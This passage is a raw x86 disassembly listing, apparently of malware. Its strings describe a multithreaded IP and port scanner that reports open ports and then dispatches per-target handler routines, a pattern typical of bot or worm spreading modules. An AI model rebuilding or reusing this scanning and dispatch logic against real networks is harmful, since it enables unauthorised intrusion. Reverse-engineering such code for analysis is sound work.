		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445420[eax*4]
		inc	ecx
		mov	dword_445420[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	near ptr byte_5F285B
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	near ptr byte_5F285B
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456DC


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 27E0DC8h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, dword_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F0h[ecx*4]
		push	edx
		push	eax
		call	ebx
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44541C[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		call	near ptr 2830000h
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2830134h
		nop
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		nop
		call	near ptr 27806D0h
		push	offset dword_50FA90
		nop
		call	near ptr 2780D58h


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, dword_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		call	near ptr 27C092Fh
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 27806D0h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2830134h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
